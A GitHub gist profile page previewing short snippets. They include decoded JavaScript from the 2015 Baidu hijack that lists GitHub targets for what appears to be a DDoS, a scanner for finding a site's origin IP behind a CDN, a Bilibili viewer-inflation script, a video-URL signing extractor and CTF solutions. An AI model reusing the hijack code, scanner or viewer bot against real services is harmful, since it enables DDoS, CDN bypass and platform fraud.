Skip to content

Instantly share code, notes, and snippets.

View typcn's full-sized avatar
💼
Extremely busy

typcn

💼
Extremely busy
View GitHub Profile
@typcn
typcn / gist:e2ceecb79989dd0f1324
Created April 3, 2015 21:13
decoded hijacking code in baidu
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
@typcn
typcn / H5.html
Last active August 29, 2015 14:22
<h5>Real H5 Page</h5>
@typcn
typcn / scan.py
Last active August 29, 2015 14:27
Website Source IP Scanner
import socket , struct , time
from optparse import OptionParser
from threading import Thread
from multiprocessing.pool import ThreadPool
def scan(ip):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,80))
s.send("GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: close\r\nUser-Agent: fucksb\r\n\r\n")
@typcn
typcn / live_number.py
Created August 25, 2015 12:29 — forked from cnbeining/live_number.py
A simple script to get lots of viewers of Bilibili Live - PLUS
#!/usr/bin/env python
#coding:utf-8
# Author: Beining --<cnbeining#gmail.com>
# Author: TYPCN --<typcncom#gmail.com> ( Performance improve and fix )
# Purpose: A simple script to get lots of viewers of Bilibili Live
# Created: 08/11/2015
# Error report: http://www.cnbeining.com/?p=952
# https://github.com/cnbeining somewhere within my gists
import sys
@typcn
typcn / lock.m
Created March 29, 2016 03:40
Unlock & Lock your mac
extern void SACLockScreenImmediate ( );
SACLockScreenImmediate();
@typcn
typcn / letvcloud.js
Created April 12, 2016 09:36
letvcloud
// 解析出来是 mp4 . 要拿 m3u8 把 android 换成 ios,pver 自己抓包
var crypto = require('crypto');
function geturl(uu,vu) {
var ts = parseInt(Date.now()/1000);
var sign = getSign('cf=android&format=json&ran=' + ts + '&uu=' + uu + '&ver=2.1&vu=' + vu);
var finalURL = 'http://api.letvcloud.com/gpc.php?uu=' + uu + '&vu=' + vu + '&cf=android&format=json&ver=2.1&ran=' + ts + '&sign=' + sign + '&pver=android_1.0.1&playid=0&pf=android&spf=0'
return finalURL;
}
@typcn
typcn / extract.js
Created April 30, 2016 01:46
Extract HTTP body in Wireshark TCP Stream to files
var fs = require('fs');
var bsplit = require('buffer-split');
var p1 = fs.readFileSync('./part1');
write(p1);
function write(px) {
var pkts = bsplit(px,new Buffer('GET '));
@typcn
typcn / draw.py
Last active March 5, 2017 05:43
usb mouse move
import struct
from PIL import Image
import dpkt
import binascii
INIT_X, INIT_Y = 1000, 1000
def compliment(h):
i = int(h, 16)
return i - ((0x80 & i) << 1)
@typcn
typcn / 302.js
Last active May 1, 2016 19:34
GCTF Opabina Regalis
var fs = require("fs");
var p = require("node-protobuf");
var pb = new p(fs.readFileSync("out.desc"));
var tls = require('tls');
var crypto = require('crypto');
var http = require("http");
var conn = tls.connect(13001, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) => {
console.log('Connected');
@typcn
typcn / run.js
Last active February 1, 2017 18:36
umetrip_auto_sign
const tpush = require('typcnpush-sdk');
const http = require('http');
tpush.useInternalMode();
setInterval(function(){
let options = {
host: 'ume1.umetrip.com',
port: 80,
path: '/UmeAd/everyday/luck.do?sid=YOUR_SESSION_ID',
method: 'GET'